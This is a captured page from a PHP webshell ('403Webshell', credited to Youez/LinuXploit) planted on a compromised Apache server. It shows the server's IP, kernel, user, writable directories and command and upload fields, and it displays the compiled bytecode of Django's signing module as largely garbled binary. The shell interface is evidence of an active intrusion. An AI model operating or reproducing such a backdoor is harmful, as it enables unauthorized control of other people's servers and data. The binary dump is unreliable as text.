403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/django/core/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/django/core/__pycache__/signing.cpython-311.pyc
�

�|�e���X�dZddlZddlZddlZddlZddlZddlmZddlm	Z	ddl
mZmZddl
mZddlmZddlmZed	��ZGd
�de��ZGd�d
e��Zd�Zd�Zdd�Zdd�ZGd�d��Zddedfd�Zddedfd�ZGd�d��ZGd�de��ZdS) ae
Functions for creating and restoring url-safe signed JSON objects.

The format used looks like this:

>>> signing.dumps("hello")
'ImhlbGxvIg:1QaUZC:YIye-ze3TTx7gtSv422nZA4sgmk'

There are two components here, separated by a ':'. The first component is a
URLsafe base64 encoded JSON of the object passed to dumps(). The second
component is a base64 encoded hmac/SHA1 hash of "$first_component:$secret"

signing.loads(s) checks the signature and returns the deserialized object.
If the signature fails, a BadSignature exception is raised.

>>> signing.loads("ImhlbGxvIg:1QaUZC:YIye-ze3TTx7gtSv422nZA4sgmk")
'hello'
>>> signing.loads("ImhlbGxvIg:1QaUZC:YIye-ze3TTx7gtSv422nZA4sgmk-modified")
...
BadSignature: Signature failed: ImhlbGxvIg:1QaUZC:YIye-ze3TTx7gtSv422nZA4sgmk-modified

You can optionally compress the JSON prior to base64 encoding it to save
space, using the compress=True argument. This checks if compression actually
helps and only applies compression if the result is a shorter string:

>>> signing.dumps(list(range(1, 20)), compress=True)
'.eJwFwcERACAIwLCF-rCiILN47r-GyZVJsNgkxaFxoDgxcOHGxMKD_T7vhAml:1QaUaL:BA0thEZrp4FQVXIXuOvYJtLJSrQ'

The fact that the string is compressed is signalled by the prefixed '.' at the
start of the base64 JSON.

There are 65 url-safe characters: the 64 used by url-safe base64 and the ':'.
These functions make use of all of them.
�N)�settings)�baseconv)�constant_time_compare�salted_hmac)�force_bytes)�
import_string)�_lazy_re_compilez^[A-z0-9-_=]*$c��eZdZdZdS)�BadSignaturezSignature does not match.N��__name__�
__module__�__qualname__�__doc__���5/usr/lib/python3/dist-packages/django/core/signing.pyrr4s������#�#��Drrc��eZdZdZdS)�SignatureExpiredz3Signature timestamp is older than required max_age.Nrrrrrr9s������=�=��Drrc�P�tj|���d��S)N�=)�base64�urlsafe_b64encode�strip)�ss r�
b64_encoder>s!���#�A�&�&�,�,�T�2�2�2rc�\�dt|��dzz}tj||z��S)Nr�)�lenr�urlsafe_b64decode)r�pads  r�
b64_decoder"Bs-��
�3�q�6�6�'�A�+�
�C��#�A��G�,�,�,r�sha1c��tt||||�����������S)N��	algorithm)rr�digest�decode)�salt�value�keyr&s    r�base64_hmacr,Gs9���k�$��s�i�H�H�H�O�O�Q�Q�R�R�Y�Y�[�[�[r�%django.core.signing.get_cookie_signerc��ttj��}ttj��}|d|z|���S)Nsdjango.http.cookies�r))rr�SIGNING_BACKENDr�
SECRET_KEY)r)�Signerr+s   r�get_cookie_signerr3Ks=��
�8�3�
4�
4�F�
�h�)�
*�
*�C��6�(�3�.�T�:�:�:�:rc��eZdZdZd�Zd�ZdS)�JSONSerializerzW
    Simple wrapper around json to be used in signing.dumps and
    signing.loads.
    c�T�tj|d����d��S)N)�,�:)�
separators�latin-1)�json�dumps�encode)�self�objs  rr<zJSONSerializer.dumpsVs%���z�#�*�5�5�5�<�<�Y�G�G�Grc�P�tj|�d����S)Nr:)r;�loadsr()r>�datas  rrAzJSONSerializer.loadsYs���z�$�+�+�i�0�0�1�1�1rN)r
rrrr<rArrrr5r5Qs?��������H�H�H�2�2�2�2�2rr5zdjango.core.signingFc�P�t||����|||���S)a�
    Return URL-safe, hmac signed base64 compressed JSON string. If key is
    None, use settings.SECRET_KEY instead. The hmac algorithm is the default
    Signer algorithm.

    If compress is True (not the default), check if compressing using zlib can
    save some space. Prepend a '.' to signify compression. This is included
    in the signature, to protect against zip bombs.

    Salt can be used to namespace the hash, so that a signed string is
    only valid for a given namespace. Leaving this at the default
    value or re-using a salt value across different parts of your
    application without good cause is a security risk.

    The serializer is expected to return a bytestring.
    r/)�
serializer�compress)�TimestampSigner�sign_object)r?r+r)rDrEs     rr<r<]s-��"�3�T�*�*�*�6�6�s�z�\d�6�e�e�erc�P�t||����|||���S)z|
    Reverse of dumps(), raise BadSignature if signature fails.

    The serializer is expected to accept a bytestring.
    r/)rD�max_age)rF�
unsign_object)rr+r)rDrIs     rrArAqs-���3�T�*�*�*�8�8��z�[b�8�c�c�crc�H�eZdZdZdd�Zd�Zd�Zd�Zd�Ze	d	fd
�Z
e	fd�ZdS)
r2r#Nr8c��|ptj|_||_t�|j��rt
d|z���|p|jj�d|jj	��|_
|ptj|_dS)NzJUnsafe Signer separator: %r (cannot be empty or consist of only A-z0-9-_=)�.)
rr1r+�sep�_SEP_UNSAFE�match�
ValueError�	__class__rr
r)�DEFAULT_HASHING_ALGORITHMr&)r>r+rNr)r&s     r�__init__zSigner.__init__~s����-�(�-���������T�X�&�&�	��"�$'�(���
��Z�t�~�'@�'@�'@�$�.�BY�BY�Z��	�#�H�h�&H����rc�L�t|jdz||j|j���S�N�signerr%)r,r)r+r&�r>r*s  r�	signaturezSigner.signature�s$���4�9�x�/����D�N�[�[�[�[rc�L�t|jdz||j|j���SrV)r,r)r+�legacy_algorithmrXs  r�_legacy_signaturezSigner._legacy_signature�s%���4�9�x�/����D�La�b�b�b�brc�B�|�|j�|�|����S�N)rNrYrXs  r�signzSigner.sign�s$�� �5�$�(�(�D�N�N�5�,A�,A�,A�B�Brc�@�|j|vrtd|jz���|�|jd��\}}t||�|����s*|jr%t||�|����r|Std|z���)NzNo "%s" found in value�zSignature "%s" does not match)rNr�rsplitrrYr[r\)r>�signed_valuer*�sigs    r�unsignz
Signer.unsign�s����8�<�'�'��7�$�(�B�C�C�C�!�(�(���1�5�5�
��s�!�#�t�~�~�e�'<�'<�=�=�	��%�	�&�c�4�+A�+A�%�+H�+H�I�I�	��L��:�S�@�A�A�ArFc�4�|���|��}d}|r;tj|��}t|��t|��dz
kr|}d}t	|�����}|rd|z}|�|��S)ae
        Return URL-safe, hmac signed base64 compressed JSON string.

        If compress is True (not the default), check if compressing using zlib
        can save some space. Prepend a '.' to signify compression. This is
        included in the signature, to protect against zip bombs.

        The serializer is expected to return a bytestring.
        FraTrM)r<�zlibrErrr(r_)r>r?rDrErB�
is_compressed�
compressed�base64ds        rrGzSigner.sign_object�s����z�|�|�!�!�#�&�&���
��	%���t�,�,�J��:���#�d�)�)�a�-�0�0�!�� $�
��T�"�"�)�)�+�+���	$��G�m�G��y�y��!�!�!rc��|j|fi|�����}|dd�dk}|r
|dd�}t|��}|rtj|��}|���|��S)Nra�.)rer=r"rg�
decompressrA)r>�
signed_objrD�kwargsrjrmrBs       rrJzSigner.unsign_object�s����$�+�j�3�3�F�3�3�:�:�<�<���R�a�R�[�D�(�
��	"��a�b�b�k�G��'�"�"���	)��?�4�(�(�D��z�|�|�!�!�$�'�'�'r)Nr8NN)r
rrr[rTrYr\r_rer5rGrJrrrr2r2zs���������I�I�I�I�\�\�\�c�c�c�C�C�C�B�B�B�+9�5�"�"�"�"�24B�(�(�(�(�(�(rr2c�0��eZdZd�Z�fd�Zd�fd�	Z�xZS)rFc�|�tj�tt	j������Sr^)r�base62r=�int�time)r>s r�	timestampzTimestampSigner.timestamp�s&����%�%�c�$�)�+�+�&6�&6�7�7�7rc���|�|j�|�����}t���|��Sr^)rNru�superr_)r>r*rRs  �rr_zTimestampSigner.sign�s8���!�E�4�8�8�T�^�^�-=�-=�-=�>���w�w�|�|�E�"�"�"rNc���t���|��}|�|jd��\}}tj�|��}|�`t|tj	��r|�
��}tj��|z
}||krtd|�d|�d����|S)zk
        Retrieve original value and check it wasn't signed more
        than max_age seconds ago.
        raNzSignature age z > z seconds)
rwrerbrNrrrr(�
isinstance�datetime�	timedelta�
total_secondsrtr)r>r*rI�resultru�agerRs      �rrezTimestampSigner.unsign�s����
������&�&��!�=�=���1�5�5���y��O�*�*�9�5�5�	����'�8�#5�6�6�
2�!�/�/�1�1���)�+�+�	�)�C��W�}�}�&�&�7:�s�s�G�G�G�D�F�F�F��rr^)r
rrrur_re�
__classcell__)rRs@rrFrF�se�������8�8�8�#�#�#�#�#����������rrF)r#)r-) rrrzr;rtrg�django.confr�django.utilsr�django.utils.cryptorr�django.utils.encodingr�django.utils.module_loadingr�django.utils.regex_helperr	rO�	Exceptionrrrr"r,r3r5r<rAr2rFrrr�<module>r�s7��!�!�F�
�
�
����������������� � � � � � �!�!�!�!�!�!�B�B�B�B�B�B�B�B�-�-�-�-�-�-�5�5�5�5�5�5�6�6�6�6�6�6���0�1�1��	�	�	�	�	�9�	�	�	�
	�	�	�	�	�|�	�	�	�
3�3�3�-�-�-�
\�\�\�\�;�;�;�;�	2�	2�	2�	2�	2�	2�	2�	2��3��Y^�f�f�f�f�(�1�n�VZ�d�d�d�d�L(�L(�L(�L(�L(�L(�L(�L(�^�����f�����r

Youez - 2016 - github.com/yon3zu
LinuXploit